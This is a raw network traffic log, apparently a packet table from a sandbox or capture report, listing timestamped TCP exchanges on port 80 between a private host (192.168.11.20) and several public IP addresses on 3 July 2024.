Jul 3, 2024 17:35:51.070314884 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.070400000 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.070410013 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.070417881 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.070425034 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.070432901 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.092320919 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.092334032 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.092483997 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.092643023 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:51.092643023 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:51.096856117 CEST	80	49784	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:51.097033024 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:52.217983007 CEST	49784	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:53.247456074 CEST	49785	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:53.365984917 CEST	80	49785	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:53.366111994 CEST	49785	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:53.379725933 CEST	49785	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:53.498301983 CEST	80	49785	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:53.523156881 CEST	80	49785	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:53.523170948 CEST	80	49785	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:53.523247957 CEST	80	49785	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:53.523474932 CEST	49785	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:53.523474932 CEST	49785	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:53.528054953 CEST	80	49785	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:53.528219938 CEST	49785	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:53.530147076 CEST	49785	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:35:53.648566961 CEST	80	49785	199.59.243.226	192.168.11.20
Jul 3, 2024 17:35:58.700110912 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:35:59.715132952 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:01.714716911 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:05.729422092 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:13.743350029 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:20.789040089 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:21.804079056 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:23.819293022 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:27.834007025 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:35.847897053 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:42.892750978 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:43.893053055 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:45.908222914 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:49.922975063 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:36:57.936863899 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:37:04.980902910 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:37:05.981988907 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:37:07.997205019 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:37:12.011888981 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:37:20.025791883 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:37:31.247034073 CEST	49787	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:31.365593910 CEST	80	49787	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:31.365864992 CEST	49787	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:31.398546934 CEST	49787	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:31.518363953 CEST	80	49787	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:31.538412094 CEST	80	49787	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:31.538630009 CEST	49787	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:32.914809942 CEST	49787	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:33.033356905 CEST	80	49787	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:33.944322109 CEST	49788	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:34.062877893 CEST	80	49788	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:34.063127995 CEST	49788	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:34.078990936 CEST	49788	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:34.197618961 CEST	80	49788	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:34.221664906 CEST	80	49788	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:34.221848011 CEST	49788	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:35.586122990 CEST	49788	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:35.704623938 CEST	80	49788	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.615638971 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.734631062 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.734831095 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.751774073 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.751853943 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.870771885 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.870831966 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.870876074 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.870915890 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.870995045 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.871010065 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.871036053 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.871144056 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.871264935 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.871310949 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.871350050 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.871351957 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.871392965 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.871527910 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.871701002 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.893623114 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.893857956 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.989762068 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.989980936 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.990000963 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990051985 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990222931 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990237951 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990248919 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.990350962 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990365028 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990416050 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.990490913 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990505934 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990516901 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990572929 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990586996 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:36.990694046 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990709066 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990874052 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.990972042 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.991051912 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.991063118 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.991075039 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.991318941 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:36.991329908 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.108774900 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.108836889 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.108903885 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.108944893 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.109281063 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.109414101 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.109466076 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.109496117 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.109535933 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.109575987 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.109615088 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:37.109656096 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:38.257457972 CEST	49789	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:38.376024008 CEST	80	49789	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:39.286897898 CEST	49790	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:39.405802011 CEST	80	49790	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:39.406104088 CEST	49790	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:39.419517040 CEST	49790	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:39.538261890 CEST	80	49790	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:39.561814070 CEST	80	49790	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:39.561825037 CEST	80	49790	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:39.562072992 CEST	49790	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:39.567523956 CEST	80	49790	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:39.567791939 CEST	49790	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:39.568770885 CEST	49790	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:37:39.687194109 CEST	80	49790	3.33.130.190	192.168.11.20
Jul 3, 2024 17:37:44.848781109 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:44.967411995 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:44.967587948 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:44.983409882 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:45.102148056 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.422059059 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.422154903 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.422231913 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.422338963 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.422344923 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:45.422426939 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.422496080 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.422525883 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:45.422569036 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.422631025 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.422699928 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.422717094 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:45.422748089 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.422818899 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:45.422897100 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:45.460165977 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.460216045 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.460244894 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.460306883 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.460333109 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.460410118 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:45.460448027 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:45.460566998 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.460629940 CEST	80	49791	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:45.460753918 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:46.490024090 CEST	49791	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:47.522464991 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:47.641352892 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:47.641510963 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:47.657325983 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:47.776067019 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003277063 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003293037 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003329039 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003417015 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:48.003422976 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003436089 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003448009 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003459930 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003472090 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003484011 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003494024 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003593922 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:48.003593922 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:48.003593922 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:48.003742933 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:48.003906012 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.003923893 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.004009008 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.004064083 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:48.005001068 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.005110979 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.005124092 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.005134106 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.005275011 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:48.005335093 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.005496979 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:48.005795956 CEST	80	49792	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:48.005939960 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:49.161552906 CEST	49792	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.190783024 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.309468031 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.309652090 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.326550961 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.326569080 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.326649904 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.445158005 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.445249081 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.445368052 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.445377111 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.445382118 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.445481062 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.445491076 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.445550919 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.445692062 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.445894003 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.564058065 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.564199924 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.564210892 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.564333916 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.564368010 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.564428091 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.564477921 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.564570904 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.564570904 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.564582109 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.564712048 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.564742088 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:50.564805984 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.682888985 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.683000088 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.683160067 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.683268070 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.683469057 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:50.683593035 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.024049044 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.024066925 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.024094105 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.024142981 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.024156094 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.024169922 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.024194956 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.024208069 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.024219990 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.024229050 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.024286985 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:51.024437904 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:51.024439096 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:51.060229063 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.060276031 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.060300112 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.060328007 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.060339928 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.060506105 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:51.060589075 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.060679913 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.060751915 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:51.061351061 CEST	80	49793	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:51.061527967 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:51.832595110 CEST	49793	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:52.862098932 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:52.980761051 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:52.980937004 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:52.995919943 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.114517927 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.376271963 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.376287937 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.376390934 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.376418114 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.376431942 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.376444101 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.376461029 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.376463890 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.376476049 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.376487970 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.376499891 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.376701117 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.376701117 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.377091885 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.377105951 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.377196074 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.377207994 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.377317905 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.377325058 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.377372026 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.377882004 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.377895117 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.377995968 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.378046989 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.378129005 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.378146887 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.378160954 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.378343105 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.378784895 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.378801107 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.378895044 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.378907919 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.378920078 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.378990889 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.379040956 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.379594088 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.379607916 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.379707098 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.379720926 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.379739046 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.379769087 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.379920959 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.380390882 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.380470991 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.380676031 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.387466908 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.387480021 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.387541056 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.387590885 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.387604952 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.387676001 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.387725115 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.387839079 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.387852907 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.387948990 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.387984991 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.388004065 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.388016939 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.388113976 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.388143063 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.388780117 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.388793945 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.388875961 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.388889074 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.388978004 CEST	49794	80	192.168.11.20	66.235.200.145
